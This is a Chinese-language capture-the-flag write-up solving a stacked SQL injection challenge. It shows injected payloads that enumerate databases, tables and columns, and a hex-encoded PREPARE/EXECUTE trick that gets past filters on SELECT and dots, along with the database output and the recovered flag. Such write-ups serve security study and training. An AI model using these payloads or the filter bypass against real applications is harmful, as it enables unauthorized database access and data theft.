前提:
- 目标存在SQL注入漏洞
- 目标未对”;”号进行过滤
- 目标中间层查询数据库信息时可同时执行多条SQL语句
支持堆叠数据库:MYSQL MSSQL Postgresql等
解题思路
先查看所有数据库,得到ctftraining和supersqli两个关键数据库
1
2
3
4
5
6
7
8
9'; SHOW DATABASES;--+
array(1) { [0]=> string(11) "ctftraining" }
array(1) { [0]=> string(18) "information_schema" }
array(1) { [0]=> string(5) "mysql" }
array(1) { [0]=> string(18) "performance_schema" }
array(1) { [0]=> string(9) "supersqli" }
array(1) { [0]=> string(4) "test" }
查看ctftraining的数据库,知道了FLAG_TABLE的表
1
2
3
4
5
6'; SHOW TABLES FROM ctftraining; --+
array(1) { [0]=> string(10) "FLAG_TABLE" }
array(1) { [0]=> string(4) "news" }
array(1) { [0]=> string(5) "users" }
知道了FLAG_TABLE表名以后查看下面的列,“.”被过滤了换种方式
1
2
3
4
5'; SHOW COLUMNS FROM ctftraining.FLAG_TABLE; --+
'; SHOW COLUMNS FROM FLAG_TABLE IN ctftraining; --+
array(6) { [0]=> string(11) "FLAG_COLUMN" [1]=> string(12) "varchar(128)" [2]=> string(2) "NO" [3]=> string(0) "" [4]=> string(8) "not_flag" [5]=> string(0) "" }
得到了FLAG_COLUMN,“.”和SELECT被过滤了换种方式,再换种方式
1
'; SELECT FLAG_COLUMN FROM ctftraining.FLAG_TABLE; --+
- 把SELECT FLAG_COLUMN FROM ctftraining.FLAG_TABLE赋值给@a ,然后把注入语句转换为16进制,记得前面加上0x,让数据库识别为16进制,结果查询为空,被骗了,返回原来的supersqli
1
';SeT @a=0x53454c45435420464c41475f434f4c554d4e2046524f4d20637466747261696e696e672e464c41475f5441424c45;prepare execsql from @a;execute execsql;
回到之前的知道的另一个数据库那里查看supersqli,知道了下面1919810931114514的表
1
2
3
4
5'; SHOW TABLES FROM supersqli; --+
array(1) { [0]=> string(16) "1919810931114514" }
array(1) { [0]=> string(5) "words" }
纯数字的表名需要反引号来圈起来,得到了一个flag的列
1
2
3
4'; SHOW COLUMNS FROM `1919810931114514` IN supersqli; --+
array(6) { [0]=> string(4) "flag" [1]=> string(12) "varchar(100)" [2]=> string(2) "NO" [3]=> string(0) "" [4]=> NULL [5]=> string(0) "" }
“.”和SELECT被过滤了,换16进制方式
1
'; SELECT flag FROM supersqli.`1919810931114514`; --+
- 把SELECT flag FROM 1919810931114514 IN supersqli赋值给@a ,然后把注入语句转换为16进制,记得前面加上0x,让数据库识别为16进制,但是这种语句只能在堆叠注入种使用,需要完整的SQL语句
1
2
3
4';SeT @a=0x53454c45435420666c61672046524f4d20737570657273716c692e603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
flag{7edc6dee-c534-436a-861f-ed5fb3c98f3b}
总结反思,看了网上的解题思路,他们在 SHOW DATABASES后再次 SHOW TABLE,是更快的解题思路,这次没有注意,已经总结,还有小细节需要再次总结